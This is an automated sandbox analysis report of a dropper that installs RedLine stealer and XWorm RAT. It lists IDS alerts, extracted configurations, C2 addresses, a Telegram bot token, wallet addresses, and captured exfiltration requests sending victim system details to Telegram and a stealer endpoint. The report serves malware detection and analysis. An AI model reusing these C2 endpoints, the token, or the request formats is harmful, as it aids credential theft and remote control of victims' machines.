Destination Port:	9336
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET HUNTING Telegram API Certificate Observed - Source IP: 149.154.167.220 - Destination IP: 192.168.2.4

Timestamp:	2024-07-16T21:07:27.217238+0200
SID:	2029322
Source Port:	443
Destination Port:	49745
Protocol:	TCP
Classtype:	Misc activity

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound - Source IP: 192.168.2.4 - Destination IP: 45.88.186.18

Timestamp:	2024-07-16T21:09:00.501675+0200
SID:	2853193
Source Port:	49746
Destination Port:	7000
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO POLICY Observed SSL Cert (External IP Address Lookup (ip .sb)) - Source IP: 104.26.12.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-16T21:07:08.872910+0200
SID:	2833693
Source Port:	443
Destination Port:	49736
Protocol:	TCP
Classtype:	Potential Corporate Privacy Violation

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.4

Timestamp:	2024-07-16T21:07:58.125604+0200
SID:	2022930
Source Port:	443
Destination Port:	49747
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.4

Timestamp:	2024-07-16T21:07:19.836796+0200
SID:	2022930
Source Port:	443
Destination Port:	49739
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO POLICY External IP Address Lookup DNS Query (api .ip .sb) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-07-16T21:07:08.369249+0200
SID:	2835928
Source Port:	53385
Destination Port:	53
Protocol:	UDP
Classtype:	Device Retrieving External IP Address Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 147.185.221.20

Timestamp:	2024-07-16T21:07:02.736165+0200
SID:	2849662
Source Port:	49730
Destination Port:	9336
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - EnvironmentSettings Request - Source IP: 192.168.2.4 - Destination IP: 147.185.221.20

Timestamp:	2024-07-16T21:07:08.182096+0200
SID:	2849351
Source Port:	49730
Destination Port:	9336
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET HUNTING Telegram API Domain in DNS Lookup - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-07-16T21:07:26.559583+0200
SID:	2033966
Source Port:	61962
Destination Port:	53
Protocol:	UDP
Classtype:	Misc activity

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe

Avira: detection malicious, Label: TR/Spy.Gen

Found malware configuration

Source: 2.0.wjoqZlIS.exe.900000.0.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["pst-child.gl.at.ply.gg:9336"], "Bot Id": "winsc"}
Source: 4.0.YsrQekGS.exe.4b0000.0.unpack	Malware Configuration Extractor: Xworm {"C2 url": ["45.88.186.18"], "Port": "7000", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6", "Telegram URL": "https://api.telegram.org/bot6973607627:AAGW_Zx412oiEhjCq5cqO_ZHLESeW8b4re4/sendMessage?chat_id=6678411703"}
Source: YsrQekGS.exe.6564.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6973607627:AAGW_Zx412oiEhjCq5cqO_ZHLESeW8b4re4/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: Ekpb7jn7mf.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Ekpb7jn7mf.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 4.0.YsrQekGS.exe.4b0000.0.unpack	String decryptor: 45.88.186.18
Source: 4.0.YsrQekGS.exe.4b0000.0.unpack	String decryptor: 7000
Source: 4.0.YsrQekGS.exe.4b0000.0.unpack	String decryptor: <123456789>
Source: 4.0.YsrQekGS.exe.4b0000.0.unpack	String decryptor: <Xwormmm>
Source: 4.0.YsrQekGS.exe.4b0000.0.unpack	String decryptor: XWorm V5.6
Source: 4.0.YsrQekGS.exe.4b0000.0.unpack	String decryptor: USB.exe
Source: 4.0.YsrQekGS.exe.4b0000.0.unpack	String decryptor: bc1qwufsd77xxsjenyytmdlh9m6vv2m04md25fntkd
Source: 4.0.YsrQekGS.exe.4b0000.0.unpack	String decryptor: 0x8b3AcA40Aaa31E1C71F0478b556b555EBC8FDf55
Source: 4.0.YsrQekGS.exe.4b0000.0.unpack	String decryptor: TRcX5LoWZKep5z7QCqHHpdZEwWXHN9GBbv
Source: 4.0.YsrQekGS.exe.4b0000.0.unpack	String decryptor: 6973607627:AAGW_Zx412oiEhjCq5cqO_ZHLESeW8b4re4
Source: 4.0.YsrQekGS.exe.4b0000.0.unpack	String decryptor: 6678411703

Source: Ekpb7jn7mf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49745 version: TLS 1.2

Source:	Binary string: calc.pdbGCTL source: rKPaQokQ.exe, 00000001.00000000.1665460578.00007FF630CE2000.00000002.00000001.01000000.00000007.sdmp, rKPaQokQ.exe, 00000001.00000002.1691517630.00007FF630CE2000.00000002.00000001.01000000.00000007.sdmp, rKPaQokQ.exe.0.dr
Source:	Binary string: calc.pdb source: rKPaQokQ.exe, 00000001.00000000.1665460578.00007FF630CE2000.00000002.00000001.01000000.00000007.sdmp, rKPaQokQ.exe, 00000001.00000002.1691517630.00007FF630CE2000.00000002.00000001.01000000.00000007.sdmp, rKPaQokQ.exe.0.dr
Source:	Binary string: d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb source: Ekpb7jn7mf.exe

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_00409396 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		0_2_00409396
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0040DD0E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		0_2_0040DD0E

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855924 ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound 192.168.2.4:49746 -> 45.88.186.18:7000
Source: Traffic	Snort IDS: 2852870 ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes 45.88.186.18:7000 -> 192.168.2.4:49746
Source: Traffic	Snort IDS: 2852923 ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) 192.168.2.4:49746 -> 45.88.186.18:7000
Source: Traffic	Snort IDS: 2852874 ETPRO TROJAN Win32/XWorm CnC PING Command Inbound M2 45.88.186.18:7000 -> 192.168.2.4:49746
Source: Traffic	Snort IDS: 2853193 ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound 192.168.2.4:49746 -> 45.88.186.18:7000

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 45.88.186.18
Source: Malware configuration extractor	URLs: pst-child.gl.at.ply.gg:9336

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 9336
Source: unknown	Network traffic detected: HTTP traffic on port 9336 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 9336 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 9336
Source: unknown	Network traffic detected: HTTP traffic on port 9336 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 9336 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 9336
Source: unknown	Network traffic detected: HTTP traffic on port 9336 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 9336
Source: unknown	Network traffic detected: HTTP traffic on port 9336 -> 49738

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 4.0.YsrQekGS.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, type: DROPPED

Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 147.185.221.20:9336
Source: global traffic	TCP traffic: 192.168.2.4:49746 -> 45.88.186.18:7000

Source: global traffic	HTTP traffic detected: GET /bot6973607627:AAGW_Zx412oiEhjCq5cqO_ZHLESeW8b4re4/sendMessage?chat_id=6678411703&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AA15D1E2A246FDDBBF74C%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%2042ZXX86W9%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: pst-child.gl.at.ply.gg:9336Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: pst-child.gl.at.ply.gg:9336Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: pst-child.gl.at.ply.gg:9336Content-Length: 856137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: pst-child.gl.at.ply.gg:9336Content-Length: 856129Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 147.185.221.20 147.185.221.20

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: ANONYMIZEEpikNetworkCH ANONYMIZEEpikNetworkCH
Source: Joe Sandbox View	ASN Name: SALSGIVERUS SALSGIVERUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.186.18
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /bot6973607627:AAGW_Zx412oiEhjCq5cqO_ZHLESeW8b4re4/sendMessage?chat_id=6678411703&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AA15D1E2A246FDDBBF74C%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%2042ZXX86W9%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: pst-child.gl.at.ply.gg
Source: global traffic	DNS traffic detected: DNS query: api.ip.sb
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: pst-child.gl.at.ply.gg:9336Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: powershell.exe, 0000000D.00000002.1800097184.00000205807C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 0000000D.00000002.1800097184.00000205807C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micft.cMicRosof
Source: powershell.exe, 0000000A.00000002.1759686805.000002174EF13000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1896915778.00000205F7F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000D.00000002.1803205726.00000205E8118000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pst-child.gl.at.ply.gg
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pst-child.gl.at.ply.gg:9336
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pst-child.gl.at.ply.gg:9336/
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: powershell.exe, 0000000D.00000002.1800097184.00000205807EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mic
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: powershell.exe, 0000000A.00000002.1739488463.000002173F0C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1803205726.00000205E8118000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, YsrQekGS.exe, 00000004.00000002.2912640995.00000000026F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1739488463.000002173EEA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1803205726.00000205E7EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.1739488463.000002173F0C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1803205726.00000205E8118000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002C31000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: powershell.exe, 0000000D.00000002.1803205726.00000205E8118000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 0000000A.00000002.1739488463.000002173EEA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1803205726.00000205E7EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb
Source: wjoqZlIS.exe, 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, wjoqZlIS.exe.0.dr	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: wjoqZlIS.exe, 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, wjoqZlIS.exe.0.dr	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: YsrQekGS.exe, 00000004.00000002.2912640995.00000000026F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Ekpb7jn7mf.exe, 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, YsrQekGS.exe, 00000004.00000000.1666725019.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, YsrQekGS.exe, 00000004.00000002.2912640995.00000000026F1000.00000004.00000800.00020000.00000000.sdmp, YsrQekGS.exe.0.dr	String found in binary or memory: https://api.telegram.org/bot
Source: YsrQekGS.exe, 00000004.00000002.2912640995.00000000026F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6973607627:AAGW_Zx412oiEhjCq5cqO_ZHLESeW8b4re4/sendMessage?chat_id=66784
Source: wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000000D.00000002.1896915778.00000205F7F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.1896915778.00000205F7F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.1896915778.00000205F7F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 0000000D.00000002.1803205726.00000205E8118000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000A.00000002.1768144280.00000217574C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ion=v4.5
